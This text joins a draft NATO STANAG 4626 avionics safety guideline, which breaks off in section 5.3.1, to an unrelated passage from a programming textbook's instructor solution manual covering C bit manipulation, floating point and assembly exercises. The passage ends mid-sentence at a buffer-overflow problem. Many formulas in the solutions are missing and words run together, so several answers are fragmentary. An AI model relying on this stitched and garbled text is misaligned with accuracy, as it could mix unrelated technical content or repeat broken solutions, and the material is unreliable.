STANAG No. 4626Part VIDraft 1NORTH ATLANTIC TREATY ORGANIZATION(NATO)MILITARY AGENCY FOR STANDARDIZATION(MAS)STANDARDIZATION AGREEMENT(STANAG)SUBJECT: MODULAR AND OPEN AVIONICS ARCHITECTURESPART VI – GUIDELINES FOR SYSTEM ISSUESVol. 1: System ManagementVol. 2: Fault ManagementVol. 3: System Initialisation and ShutdownVol. 4: System Configuration/ReconfigurationVol. 5: Time ManagementVol. 6: Security AspectsVol. 7: SafetyPromulgated onNORTH ATLANTIC TREATY ORGANIZATIONORGANISATION DU TRAITE DE L’ATLANTIQUE NORDMILITARY AGENCY FOR STANDARDIZATION (MAS)BUREAU MILITAIRE DE STANDARDISATION (BMS)1110 BRUSSELSTel: 707.43.09….. ….. MAS STANAG 4626 (DRAFT 1) – MODULAR AND OPEN AVIONICS ARCHITECTURESPART VI – GUIDELINES FOR SYSTEM ISSUESVol. 1: System ManagementVol. 2: Fault ManagementVol. 3: System Initialisation and ShutdownVol. 4: System Configuration/ReconfigurationVol. 5: Time ManagementVol. 6: Security AspectsVol. 7: Safety1. The enclosed NATO Standardization Agreement is herewith promulgated for ratification.ACTION BY NATIONAL STAFFS2 National staffs are requested to examine page iii of the STANAG and, if they have notalready done so, advise the …… Division of their intention regarding its ratification andimplementation.Enclosure:STANAG 4626 Part VI (Draft 1)RECORD OF AMENDMENTSNo. Reference/dateofamendmentDateenteredSignatureEXPLANATORY NOTESAGREEMENT1. This NATO Standardization Agreement (STANAG) is promulgated by the Chairman MAS under the authority vested in him by the NATO Military Committee.2. No departure may be made from the agreement without consultation with the tasking authority. Nations may propose changes at any time to the tasking authority where they will be processed in the same manner as the original agreement.3. Ratifying nations have agreed the national orders, manuals and instructions implementing this STANAG will include a reference to the STANAG number for purposes of identification. DEFINITIONS4. Ratification is “In NATO Standardization, the fulfillment by which a member nation formally accepts, with or without reservation, the content of a Standardization Agreement” (AAP-6).5. Implementation is “In NATO Standardization, the fulfillment by a member nation of its obligations as specified in a Standardization Agreement (AAP-6).6. Reservation is “In NATO Standardization, the stated qualification by a member nation that describes the part of a Standardization Agreement that it will not implement or will implement only with limitations (AAP-6).RATIFICATION, IMPLEMENTATION AND RESERVATIONS7. Page iii gives the details of ratification and implementation of this agreement. If no details are shown it signifies that the nation has not yet notified the tasking authority of it intentions. Page iv (and subsequent) gives details of reservations and proprietary rights that have been stated.FEEDBACK8. Any comments concerning this publication should be directed to NATO/MAS – Bvd Leopold III – 1110 Brussels - BERATIFICATION AND IMPLEMENTATION DETAILSSTADE DE RATIFICATION ET DE MISE EN APPLICATIONIMPLEMENTATION / MISE EN APPLICATIONINTENDED DATE OFIMPLEMENTATION / DATE PREVUE POUR MISE EN APPLICATIONDATE IMPLEMENTATION WAS ACHIEVED / DATE REELLE DE MISE EN APPLICATIONNA T I O NNATIONAL RATIFICATIONREFERENCE DE LARATIFICATION NATIONALENATIONALIMPLEMENTINGDOCUMENT /DOCUMENTNATIONAL DE MISEEN APPLICIATION NAVYMERARMYTERREAIR NAVYMERARMYTERREAIRBE CACZDAFRGEHU ITLUNLNOPOSP TUUKUSRESERVATIONS RESERVESNAVY / ARMY / AIRNATO STANDARDIZATION AGREEMENT(STANAG)MODULAR AND OPEN AVIONICS ARCHITECTUREPART VI – GUIDELINES FOR SYSTEM ISSUESVol. 1: System ManagementVol. 2: Fault ManagementVol. 3: System Initialisation and ShutdownVol. 4: System Configuration/ReconfigurationVol. 5: Time ManagementVol. 6: Security AspectsVol. 7: SafetyRelated Documents:(a) STANAG 4626 Part I – Architecture(b) STANAG 4626 Part II – Software(c) STANAG 4626 Part III – Common Functional Modules(d) STANAG 4626 Part IV – Packaging(e) STANAG 4626 Part V – Networks and CommunicationAIM1. The aim of this agreement is to define and standardize essential technical characteristics which shall be incorporated in the design of avionics architectures.AGREEMENT2. Participating nations agree to adopt the avionic architectures of future aircraft developments and upgrades to the Standards and Guidelines of open avionics architectures as described in this STANAG.DEFINITIONS3. The definition of terms and abbreviations used in this Agreement are given in each Part of the Standard.GENERAL4. t.b.d.DETAILS OF AGREEMENT5. The details of the agreement are given as follows:• in Part I: Architecture Standard and Annex “Rationale Report for ArchitectureStandards”• in Part II: Software and Annex “Rationale Report for Architecture Software Standards”• in Part III: Common Functional Modules and Annex “Rationale Report for CommonFunctional Modules Standards”• in Part IV: Packaging and Annex “Rationale Report for Packaging Standards”• in Part V: Networks and Communication and Annex “Rationale Report forCommunications / Network Standards”• in Part VI: Guidelines for System Issues consisting of:• Vol. 1: System Management• Vol. 2: Fault Management• Vol. 3: System Initialisation and Shutdown• Vol. 4: System Configuration/Reconfiguration• Vol. 5: Time Management• Vol. 6: Security Aspects• Vol. 7: Safetyeach Part being published separately as STANAG 4626 (Part I), STANAG 4626 (Part II), STANAG 4626 (Part III), STANAG 4626 (Part IV), STANAG 4626 (Part V) and STANAG 4626 (Part VI).Study n°: Draft n°: I02 Date: 06/04/04Step n°:ENGLISH VERSIONASAAC Phase IIFinal Draft of Proposed Guidelines for System Issues – Volume 7:SafetyProposition finale des directives pour les aspects système – Volume 7: Mesures de sûreté Endgültiger Entwurf der Richtlinien für Systemaspekte – Band 7: SicherheitContents0Introduction (1)0.1Purpose (1)0.2Document Structure (2)1Scope (4)2Normative References (5)3Terms, Definitions and Abbreviations (6)3.1Terms and Definitions (6)3.2Abbreviations (7)4Safety requirements (10)5Concept architectural characteristics (11)5.1Federated/IMA differences (11)5.1.1Existing Federated Systems (11)5.1.2IMA systems (11)5.2Differences between Military and Civil Aviation (11)5.3IMA Safety aspects (13)5.3.1Federated / IMA differences (13)5.3.2Justification of conclusions (14)5.3.3The complexity problem (23)6Guidelines for safety and qualification (25)6.1Advisory Circular 23.1309 and IMA (25)6.1.1Step-by-Step approach (25)6.1.2Probability values and failure conditions (26)6.2Software and hardware development standards (27)6.2.1RTCA/DO-254 (27)6.2.2Commercial-Off-The-Shelf versus DO-254 (27)6.2.3Commercial-Off-The-Shelf versus DO-178B (28)6.3System architecture (28)6.4IMA system design aspects (30)6.4.1Partitioning and isolation (30)6.4.2Isolation of resources (30)6.4.3Non core items (32)6.4.4Core hardware resources (33)6.4.5Core software resources (33)6.5Systems design (38)6.5.1Hardware design (39)6.5.2Software design (40)6.6Safety critical functions on IMA architecture (40)6.6.1Baseline architecture selection (42)6.6.2Mapping of safety critical applications on CFMs (46)6.6.3Power Supply considerations (49)6.7Summary (51)Annex A(Informative) Evolution rather than revolution (56)Annex B(Informative) Certification overview (63)Annex C(Informative) Incremental Qualification/Certification (66)Annex D(Informative) Safety Assessment definitions (73)List of FiguresFigure 1 - ASAAC Standard Documentation Hierarchy (1)Figure 2 - Document Structure (3)Figure 3 - Method to compliance diagram of §23.1309(a) (Ref. [11.]) (26)Figure 5 - When safety critical CFMs are introduced, then the modules managing and supplying power also become safety critical (50)Figure A.1 - Federated system including an ASAAC rack (57)Figure A.2 - Federated system implemented with IMA racks (58)Figure A.3 - Restricting a CFM to a single criticality (59)Figure A.4 - Restricting a Processing Element to a single criticality level (60)Figure A.5 - Full IMA structure (61)Figure A.6 - The generations towards an IMA system (62)Figure B.1 - Safety Assessment versus system development process (65)Figure C.1 - Modification cycle for a component-based system (68)Figure C.2 - Example of diagraphs (69)Figure C.3 - The ASAAC Software Architecture Model (70)Figure C.4 - Interconnected components (71)List of TablesTable 1 - General differences military/civil aviation (11)Table 2 - Differences between federated and IMA certification (12)Table 3 - Differences between federated and ASAAC Systems (14)Table 4 - Relationship among airplane classes, probabilities, severity of failureconditions and software development assurance levels (27)0 Introduction0.1 PurposeThis document is produced under contract ASAAC Phase II Contract n°97/86.028.The purpose of the ASAAC Programme is to define and validate a set of open architecture standards, concepts and guidelines for Advanced Avionics Architectures in order to meet the three main ASAAC drivers. The standards, concepts and guidelines produced by the Programme are to be applicable to both new aircraft and update programmes from 2005.The three main drivers for the ASAAC Programme are:1. Reduced life cycle costs,2. Improved mission performance,3. Improved operational performance.The ASAAC standards are organised as a set of documents including:- A set of standards that describe, using a top down approach, the architecture overview to all interfaces required to implement an ASAAC compliant core within avionics system,- The guidelines for system implementation through application of the standards.The document hierarchy is given hereafter: (in this figure the document is highlighted)Figure 1 - ASAAC Standard Documentation HierarchyStructure0.2 DocumentThe document contains the following sections: Section 1, Scope,Section 2, Normative References,Section 3, Terms, Definitions and Abbreviations, Section 4, Safety requirements,Section 5, Concept architectural characteristics, Section 6, Guidelines for safety and qualification. In addition, the following annexes are provided: Annex A, Evolution rather than revolution, Annex B, Certification overview,Annex C, Incremental Qualification/Certification, Annex D, Safety Assessment definitions.Figure 2 - Document Structure1 ScopeThe ASAAC concepts and ASAAC standards mandate the functionality, and in some cases the implementation of that functionality that a system must adopt in order for it to be considered 'ASAAC compliant'. However, in addition to these standards and concepts, the ASAAC Programme has also defined a series of guidelines which although not mandated are offered in order to support the IMA system integrator in defining and building a system. These guidelines represent the findings of the ASAAC Team during the validation phase of the Programme during which representative systems were designed and implemented in order to validate the standards and concepts.This document (7 volumes) provides System Issues guidelines supplementary to the Architecture Standard.The safety related content of volume 7 of the proposed guidelines for system issues is based on paper analysis as well as on system level experience gained by the demonstrations performed during the ASAAC Phase II Stage 2. Therefore volume 7 is referring to a higher technical level than volume 1 to 6, which in addition also take into account information derived form implementation details.This volume is the seventh of the seven volumes of Final Draft of Guidelines for System Issues, which have been introduced within the Architecture Standard:- It gives a summary of the certification process for avionic systems (Annex B) and the impact of ASAAC architectural characteristics on the process (section 5),- It gives an overview of the possibilities for IMA and re-qualification (Annex C) and finally states guidelines for safety and qualification with regards to IMA (section 6).2 NormativeReferencesA) References to published standardsNone.B) References to standards in preparation1. Final Draft of Proposed Standards for ArchitectureDocument ref.: ASAAC2-STA-32460-001-CPG.2. Final Draft of Proposed Standards for SoftwareDocument ref.: ASAAC2-STA-32410-001-SWG.3. Final Draft of Proposed Standards for NetworkDocument ref.: ASAAC2-STA-32420-001-HWG.4. Final Draft of proposed standards for Common Functional ModuleDocument ref.: ASAAC2-STA-32430-001-HWG.5. Final Draft of Proposed Standards for PackagingDocument ref.: ASAAC2-STA-32440-001-HWG.1. Final Guidelines for System and Fault Management – Volumes 1 to 7Document ref.: ASAAC2-GUI-32450-001-CPG.C) References to other documentsNone.D) References to documents from other organisations (selected US standards as stated above)6. Review of Pending Guidance and Industry findings on Commercial-Off-The-Shelf (COTS)Electronics in Airborne Systems. DOT/FAA/AR-01/41, Final Report, August 2001.7. System Safety Program RequirementsMilitary Standard MIL-STD 882C, 19 January 1993.8. Certification consideration for highly integrated or complex aircraft systemsARP 4754, SAE (Systems Integration Requirements Task Group), 15 December 1994.9. Guidelines and methods for conducting the safety assessment process on civil airborne systemsand equipment ARP 4761, SAE. December 1996.10. Software Considerations in Airborne System & Equipment CertificationRTCA Inc. / EUROCAE, DO178B / ED-12B, December 1992.11. Equipment, Systems and Installations in Part 23 AirplanesAdvisory Circular 23.1309-1C, 3/12/99.12. Design Assurance for Airborne Electronics Hardware, RTCA-DO-254/EUROCAE ED-80, April 19,2000.13. Commercial Off-The-Shelf (COTS) Avionics Software Study, DOT/FAA/AR-01/26, Final ReportMay 2001.3 Terms, Definitions and Abbreviations3.1 Terms and DefinitionsUse of “shall”, “should” and “may” within the standards observe the following rules:- The word SHALL in the text expresses a mandatory requirement of the standard.- The word SHOULD in the text expresses a recommendation or advice on implementing such a requirement of the standard. It is excepted that such recommendations or advice are followed unless good reasons are stated for not doing so.- The word MAY in the text expresses a permissible practice or action. It does not express a requirement of the standard.The following definitions are provided in order to aid understanding of safety related terminology. [x.] is a link to the Normative References section.AIRWORTHINESS:[8.]: The condition of an item (aircraft, aircraft system, or part) in which that item operates in a safe manner to accomplish its intended function.CRITICALITY:[8.]: Indication of the hazard level associated with a function, hardware or software etc, considering abnormal behaviour (of this function, hardware, software etc) alone, or in combination with external events.CERTIFICATION:[8.]: “Certification” means the legal recognition that a product, service, organization or person complies with the applicable requirements. Such certification comprises the activity of technically checking the product, service, organization or person, and the formal recognition of compliance with the applicable requirements by issue of a certificate, license approval or other document as required by national laws and procedures.In particular, certification of a product involves:• The process of assessing the design of a product to ensure that it complies with a set of standards applicable to that type of product so as to demonstrate an acceptable level of safety.• The process of assessing an individual product to ensure that it conforms with the certified type design.• The issue of any certificate required by national laws to declare that compliance or conformity has been found with applicable standards in accordance with paragraph (a) or (b) above. COMMERCIAL-OFF-THE-SHELF (COTS) COMPONENT:[12.]: Component, integrated circuit, or sub-system developed by a supplier for multiple customers, whose design and configuration is controlled by the supplier’s or an industry specification.Note: Examples of COTS components may include resistors, capacitors, microprocessors, un-programmed Field Programmable Gate Array and Erasable Programmable Logic Devices, other integrated circuit types and their implementable models, printed wiring assemblies and complete LRUs that are typically available from a supplier as a catalogue item.”COMMON MODE FAULTS:[9.]: An event that affects a number of elements otherwise considered to be independent. FUNCTIONAL HAZARD ASSESSMENT:[8.]: A systematic, comprehensive examination of aircraft functions to identify and classify Failure Conditions of those functions according to their severity.HAZARD:[7.]: A condition that is prerequisite to a mishap.[8.]: A potentially usage condition resulting from failures, malfunctions, external events, errors, or combinations thereof.PRELIMINARY SYSTEM SAFETY ASSESSMENT:[8.]: A systematic evaluation of a proposed system architecture and its implementation, based on the Functional Hazard Assessment and failure condition classification, to determine safety requirements for all items in the architecture.SAFETY:[7.]: Freedom from those conditions that can cause death, injury, occupational illness, damage to or loss of equipment or property, or damage to the environment.[8.]: The state in which risk is lower than the boundary risk. The boundary risk is the upper limit of the acceptable risk. It is specific for a technical process or state.SYSTEM SAFETY ASSESSMENT:[8.]: A systematic, comprehensive evaluation of the implemented system to show that relevant safety requirements are met.3.2 AbbreviationsAC AircraftAD Advisory DocumentsAM Application ManagerAPOS Application Layer to Operating System InterfaceASAAC Allied Standard Avionics Architecture CouncilBIT Built In TestCCA Common Cause AnalysisCFM Common Functional ModuleCM Configuration ManagerCOTS Commercial-off-the-ShelfCPU Central Processing UnitCSCI Computer Software Configuration ItemsDAL Design Assurance LevelEDF Earlier Deadlines FirstFAA Federated Aviation AuthorisationFCS Flight Control SystemFHA Functional Hazard AssessmentFM Fault ManagerFMEA Failure Mode and Effects Analysis FPS Fixed Priority SchedulingFTA Fault Tree AnalysisGLI Generic Logical InterfaceGSM Generic System ManagerHM Health MonitorHW HardwareIA Integration AreaIBIT Interruptive Built-in TestI/O Input/OutputIMA Integrated Modular AvionicsITM Integrated Test and Maintenance LAN Local Area NetworkLRI Line Replaceable ItemLRU Line Replaceable UnitMFOP Maintenance Free Operating Period MLI Module Logical InterfaceMMM Mass Memory ModuleMMU Memory Management UnitMPI Module Physical InterfaceMOS Module to Operating System interface MSL Module Support LayerMSU Module Support UnitMTBF Mean Time Between FailuresNII Network Independent InterfaceNSM Network Support ModuleNV Non VolatileOFP Operational Flight ProgramOLI Operating system Logical Interface OS Operating SystemOSL Operating System LayerPBIT Power Up Built In TestPCC Power Conversion ControllerPCM Power Conversion ModulePCS Propulsion Control SystemPE Processing ElementPSE Power Supply ElementPSSA Preliminary System Safety AssessmentRAM Random Access MemoryRTBP Run-Time BlueprintsRTCA Radio Technical Commission for AeronauticsRMS Rate Monotonic SchedulingSMOS System Management to Operating System Interface SMBP System Management to Blueprint interfaceSMLI System Management Logical InterfaceSMS Stores Management SystemSSA System Safety AssessmentSW SoftwareTC Transfer ConnectionTLS Three-Layer StackTMR Triple Modular RedundancyTSO Technical Standard OrderUCS Utilities Control SystemVC Virtual Channelrequirements4 SafetyThe failure of certain functions may impact upon system safety, the survivability of the aircraft, or the ability of the aircraft to complete a given mission. For a system designed according to ASAAC principles only one safety requirement stands:The system shall be expected to support computing processes of all levels of criticality.5 Concept architectural characteristicsThis section describes the differences between concept characteristics of federated systems and the ASAAC architecture for IMA systems as described in the suite of standards with respect to the safety assessment process.5.1 Federated/IMAdifferences5.1.1 Existing Federated SystemsIn general, safety critical system architectures in federated systems use the simplest and minimum of all resources in order to meet the performance and safety requirements.This generally results in dedicated embedded hardware/software solutions as part of a stand-alone LRU that is integrated with aircraft sensors and in particular the aircraft actuation systems. Usually for a safety critical application, the entire software is developed according to the same Design Assurance Level (DAL, also called SW Level). In case different SW Levels are used – so called partitioning - very stringent partitioning requirements apply.This approach reduces the risk for Common Mode Faults (e.g. hardware error, software error, hardware failure, installations error, requirements error, …) across different applications.5.1.2 IMAsystemsIMA systems, depending on the specific airframe application, can combine many functions that historically have been contained in functionally and physically separate systems. In such system architecture, the electrical power, computing hardware, memory, data buses, physical location etc may all be shared by multiple functions, some of which have little commonality with each other. For instance, time and space software partitioning may rely on a common operating system that allows functions of mixed hazard categories, design assurance levels, and software levels to co-exist and execute on the same processing platform.For safety critical systems, some safety issues exist in case the IMA concept is applied in the full range. However, it is worthwhile mentioning that similar issues exists in federated systems also. With IMA these issues are more emphasized and need to be considered when developing a new system. Several guidelines already exist, see section 2, which can lead to a reduction of the safety concerns.These features raise several design concerns that in turn affects the safety assessment and vice versa. The safety assessment should therefore concentrate on the Common Cause Analysis (Annex D), which can reduce most of the concerns.5.2 Differences between Military and Civil AviationThe following tables show safety related issues that require special attentions for certification.Table 1 - General differences military/civil aviationCivil Aviation MilitarySafety requirements have the highest priority. Note: Often reliability and safety stay in contradiction. Reliability requirements have a high priority, also called Mission Criticality.Certification authorities define regulations and recognise that a aircraft, system or product is certified (accepted generally all over the world). No similar approach in the military environment. No certification authorities available.Civil aviation uses many TSO equipment. Meansthere are minimum performance standards defined.No similar approach in the military environment.Safety assessment procedure is established with strong requirements regarding Common Cause Analysis to be followed (see ARP 4754). No similar safety assessment procedure is available. Common Cause Analysis is not emphasized. (seeMIL-STD 882D)International safety classifications (criticality) are defined. No similar classification system, however some standards are available.Some global standards are established already and will be recognized worldwide. Further work is ongoing. Several working groups are active in order to establish standards in several countries.The amount of equipment required is high due to only few significant aircraft manufacturer produce families of aircraft. Different aircrafts with different electronics are used depending on the country.Table 2 - Differences between federated and IMA certification Activity Federate approach IMA approach Certification Procedure Established procedures areapplicable.New set of regulations in progress.Safety strategy Safety classifications are available(criticality). Standards under change, no unique safety classifications (criticality).Common Mode Faults Common Mode Faults should bereduced by a clear separatedarchitecture in order to reduce therisk for such failures. The risk of Common Mode Faults is much higher due to the usage of many common parts.The effort spent into analysis of possible Common Mode Faults will be much higher.Incremental qualification/ certification Possible on a very restricted basis. Incremental qualification/certification isone of the most important advantages(for both worlds).Blueprint functionalities (Configuration tables) Not used. Boundaries of responsibility are difficult todefine.Contractual and organizational issuesneed more care.Aircraft network management Traditional requirements defined bystandards as ARINC 429/629.New and more efficient networkprotocols; no unique standards so far.Some safety concern still exists.Partitioning Partitioning is defined as the usageof different development level withina single application. Partitioning requirements are different to traditional approaches. Several applications are running with different level each.Isolation can no longer purely be provided by physically separating the system functions.Hardware Development HW development requirements aredefined by the safety requirementsof individual equipment. HW development requirements are defined by the safety requirements of individual equipment. However, due to common modules and software interfaces the use of partitioning opens more possibilities.Operating System No specific requirements, severalindividual solutions are available. With regard to safety most critical issue, In contrast to the traditional approach the operating system is dealing with the partitioning handling and must prevent (or detect) all attempts of partitioning violations.Activity Federate approach IMA approachScheduling Cyclic scheduling, such as prioritybased scheduling is used (which isdeterministic and predictable) andallows the worst case timingcharacteristics of the system to bedetermined Non-cyclic scheduling, such as priority based scheduling, will be available. High risk regarding common mode faults.5.3 IMASafetyaspectsThis describes the implications on the procedures for developing a safety case due to the differences of IMA and federated systems. For example, the hazard identification process will be the same, and the majority of hazards identified will be the same.Steps to include safety aspects are as follows:• Ensure that, at all levels, safety is designed into the system from the beginning, and not added on afterwards,• Tailor a system safety activity to meet specific program needs,• Manage residual hazards.Clearly the first two are general and apply equally to federated, and IMA based systems. Residual hazards depend on all the activities that have gone into the production of a system. This includes design decisions such as the use of federated or IMA principles. The changes, required to resolve these hazards, will be dependent on the earlier design decisions but must be undertaken regardless of the design principles used.One issue that will have considerable more impact on the safety assessment is the Common Cause Analysis. Due to the characteristic of IMA, Common Mode Failures can have a greater effect on a number of elements, otherwise considered to be independent.To understand federated/IMA differences, this document will firstly identify these differences, section 5.3.1, and then give a reasoned argument as to why the currently used safety procedures can still be used to manage them.Section 5.3.2 gives a justification of why an architecture element is considered adequate, drawing on experience gained from IMA, like elements that are already being used.The safety case procedures for safety critical functions and other levels of criticality are the same. It is the failure probabilities (i.e. 10-n per flight hour) and the associated risks that the procedures work with that are different. How the functions are assigned a criticality level is part of the design process, and outside the scope of the safety case.5.3.1 Federated / IMA differencesThe following table identifies the different architectural elements between a federated system and the ASAAC architecture including an indication of whether the current procedures used in the generation of a safety case are adequate for an IMA system. It also contains an estimate of how complex the qualification process of each technical measure will be relative to a current federated system. This estimate is restricted to one of four levels, i.e. less than a federated system, approximately the same as a federated system, more than a federated system, and very much more than a federated system (less, same, more, much more).Note: The rating has been gained by best current engineering practice.。

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Computer Systems:A Programmer’s PerspectiveInstructor’s Solution Manual1Randal E.BryantDavid R.O’HallaronDecember4,20031Copyright c2003,R.E.Bryant,D.R.O’Hallaron.All rights reserved.2Chapter1Solutions to Homework ProblemsThe text uses two different kinds of exercises:Practice Problems.These are problems that are incorporated directly into the text,with explanatory solutions at the end of each chapter.Our intention is that students will work on these problems as they read the book.Each one highlights some particular concept.Homework Problems.These are found at the end of each chapter.They vary in complexity from simple drills to multi-week labs and are designed for instructors to give as assignments or to use as recitation examples.This document gives the solutions to the homework problems.1.1Chapter1:A Tour of Computer Systems1.2Chapter2:Representing and Manipulating InformationProblem2.40Solution:This exercise should be a straightforward variation on the existing code.2CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS1011void show_double(double x)12{13show_bytes((byte_pointer)&x,sizeof(double));14}code/data/show-ans.c 1int is_little_endian(void)2{3/*MSB=0,LSB=1*/4int x=1;56/*Return MSB when big-endian,LSB when little-endian*/7return(int)(*(char*)&x);8}1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION3 There are many solutions to this problem,but it is a little bit tricky to write one that works for any word size.Here is our solution:code/data/shift-ans.c The above code peforms a right shift of a word in which all bits are set to1.If the shift is arithmetic,the resulting word will still have all bits set to1.Problem2.45Solution:This problem illustrates some of the challenges of writing portable code.The fact that1<<32yields0on some32-bit machines and1on others is common source of bugs.A.The C standard does not deﬁne the effect of a shift by32of a32-bit datum.On the SPARC(andmany other machines),the expression x<<k shifts by,i.e.,it ignores all but the least signiﬁcant5bits of the shift amount.Thus,the expression1<<32yields1.pute beyond_msb as2<<31.C.We cannot shift by more than15bits at a time,but we can compose multiple shifts to get thedesired effect.Thus,we can compute set_msb as2<<15<<15,and beyond_msb as set_msb<<1.Problem2.46Solution:This problem highlights the difference between zero extension and sign extension.It also provides an excuse to show an interesting trick that compilers often use to use shifting to perform masking and sign extension.A.The function does not perform any sign extension.For example,if we attempt to extract byte0fromword0xFF,we will get255,rather than.B.The following code uses a well-known trick for using shifts to isolate a particular range of bits and toperform sign extension at the same time.First,we perform a left shift so that the most signiﬁcant bit of the desired byte is at bit position31.Then we right shift by24,moving the byte into the proper position and peforming sign extension at the same time.4CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 3int left=word<<((3-bytenum)<<3);4return left>>24;5}Problem2.48Solution:This problem lets students rework the proof that complement plus increment performs negation.We make use of the property that two’s complement addition is associative,commutative,and has additive ing C notation,if we deﬁne y to be x-1,then we have˜y+1equal to-y,and hence˜y equals -y+1.Substituting gives the expression-(x-1)+1,which equals-x.Problem2.49Solution:This problem requires a fairly deep understanding of two’s complement arithmetic.Some machines only provide one form of multiplication,and hence the trick shown in the code here is actually required to perform that actual form.As seen in Equation2.16we have.Theﬁnal term has no effect on the-bit representation of,but the middle term represents a correction factor that must be added to the high order bits.This is implemented as follows:code/data/uhp-ans.c Problem2.50Solution:Patterns of the kind shown here frequently appear in compiled code.1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION5A.:x+(x<<2)B.:x+(x<<3)C.:(x<<4)-(x<<1)D.:(x<<3)-(x<<6)Problem2.51Solution:Bit patterns similar to these arise in many applications.Many programmers provide them directly in hex-adecimal,but it would be better if they could express them in more abstract ways.A..˜((1<<k)-1)B..((1<<k)-1)<<jProblem2.52Solution:Byte extraction and insertion code is useful in many contexts.Being able to write this sort of code is an important skill to foster.code/data/rbyte-ans.c Problem2.53Solution:These problems are fairly tricky.They require generating masks based on the shift amounts.Shift value k equal to0must be handled as a special case,since otherwise we would be generating the mask by performing a left shift by32.6CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1unsigned srl(unsigned x,int k)2{3/*Perform shift arithmetically*/4unsigned xsra=(int)x>>k;5/*Make mask of low order32-k bits*/6unsigned mask=k?((1<<(32-k))-1):˜0;78return xsra&mask;9}code/data/rshift-ans.c 1int sra(int x,int k)2{3/*Perform shift logically*/4int xsrl=(unsigned)x>>k;5/*Make mask of high order k bits*/6unsigned mask=k?˜((1<<(32-k))-1):0;78return(x<0)?mask|xsrl:xsrl;9}.1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION7B.(a)For,we have,,code/data/ﬂoatge-ans.c 1int float_ge(float x,float y)2{3unsigned ux=f2u(x);4unsigned uy=f2u(y);5unsigned sx=ux>>31;6unsigned sy=uy>>31;78return9(ux<<1==0&&uy<<1==0)||/*Both are zero*/10(!sx&&sy)||/*x>=0,y<0*/11(!sx&&!sy&&ux>=uy)||/*x>=0,y>=0*/12(sx&&sy&&ux<=uy);/*x<0,y<0*/13},8CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS This exercise is of practical value,since Intel-compatible processors perform all of their arithmetic in ex-tended precision.It is interesting to see how adding a few more bits to the exponent greatly increases the range of values that can be represented.Description Extended precisionValueSmallest denorm.Largest norm.Problem2.59Solution:We have found that working throughﬂoating point representations for small word sizes is very instructive. Problems such as this one help make the description of IEEEﬂoating point more concrete.Description8000Smallest value4700Largest denormalized———code/data/fpwr2-ans.c1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS91/*Compute2**x*/2float fpwr2(int x){34unsigned exp,sig;5unsigned u;67if(x<-149){8/*Too small.Return0.0*/9exp=0;10sig=0;11}else if(x<-126){12/*Denormalized result*/13exp=0;14sig=1<<(x+149);15}else if(x<128){16/*Normalized result.*/17exp=x+127;18sig=0;19}else{20/*Too big.Return+oo*/21exp=255;22sig=0;23}24u=exp<<23|sig;25return u2f(u);26}10CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS int decode2(int x,int y,int z){int t1=y-z;int t2=x*t1;int t3=(t1<<31)>>31;int t4=t3ˆt2;return t4;}Problem3.32Solution:This code example demonstrates one of the pedagogical challenges of using a compiler to generate assembly code examples.Seemingly insigniﬁcant changes in the C code can yield very different results.Of course, students will have to contend with this property as work with machine-generated assembly code anyhow. They will need to be able to decipher many different code patterns.This problem encourages them to think in abstract terms about one such pattern.The following is an annotated version of the assembly code:1movl8(%ebp),%edx x2movl12(%ebp),%ecx y3movl%edx,%eax4subl%ecx,%eax result=x-y5cmpl%ecx,%edx Compare x:y6jge.L3if>=goto done:7movl%ecx,%eax8subl%edx,%eax result=y-x9.L3:done:A.When,it will computeﬁrst and then.When it just computes.B.The code for then-statement gets executed unconditionally.It then jumps over the code for else-statement if the test is false.C.then-statementt=test-expr;if(t)goto done;else-statementdone:D.The code in then-statement must not have any side effects,other than to set variables that are also setin else-statement.1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS11Problem3.33Solution:This problem requires students to reason about the code fragments that implement the different branches of a switch statement.For this code,it also requires understanding different forms of pointer dereferencing.A.In line29,register%edx is copied to register%eax as the return value.From this,we can infer that%edx holds result.B.The original C code for the function is as follows:1/*Enumerated type creates set of constants numbered0and upward*/2typedef enum{MODE_A,MODE_B,MODE_C,MODE_D,MODE_E}mode_t;34int switch3(int*p1,int*p2,mode_t action)5{6int result=0;7switch(action){8case MODE_A:9result=*p1;10*p1=*p2;11break;12case MODE_B:13*p2+=*p1;14result=*p2;15break;16case MODE_C:17*p2=15;18result=*p1;19break;20case MODE_D:21*p2=*p1;22/*Fall Through*/23case MODE_E:24result=17;25break;26default:27result=-1;28}29return result;30}Problem3.34Solution:This problem gives students practice analyzing disassembled code.The switch statement contains all the features one can imagine—cases with multiple labels,holes in the range of possible case values,and cases that fall through.12CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1int switch_prob(int x)2{3int result=x;45switch(x){6case50:7case52:8result<<=2;9break;10case53:11result>>=2;12break;13case54:14result*=3;15/*Fall through*/16case55:17result*=result;18/*Fall through*/19default:20result+=10;21}2223return result;24}code/asm/varprod-ans.c 1int var_prod_ele_opt(var_matrix A,var_matrix B,int i,int k,int n) 2{3int*Aptr=&A[i*n];4int*Bptr=&B[k];5int result=0;6int cnt=n;78if(n<=0)9return result;1011do{12result+=(*Aptr)*(*Bptr);13Aptr+=1;14Bptr+=n;15cnt--;1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS13 16}while(cnt);1718return result;19}code/asm/structprob-ans.c 1typedef struct{2int idx;3int x[4];4}a_struct;14CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1/*Read input line and write it back*/2/*Code will work for any buffer size.Bigger is more time-efficient*/ 3#define BUFSIZE644void good_echo()5{6char buf[BUFSIZE];7int i;8while(1){9if(!fgets(buf,BUFSIZE,stdin))10return;/*End of file or error*/11/*Print characters in buffer*/12for(i=0;buf[i]&&buf[i]!=’\n’;i++)13if(putchar(buf[i])==EOF)14return;/*Error*/15if(buf[i]==’\n’){16/*Reached terminating newline*/17putchar(’\n’);18return;19}20}21}An alternative implementation is to use getchar to read the characters one at a time.Problem3.38Solution:Successfully mounting a buffer overﬂow attack requires understanding many aspects of machine-level pro-grams.It is quite intriguing that by supplying a string to one 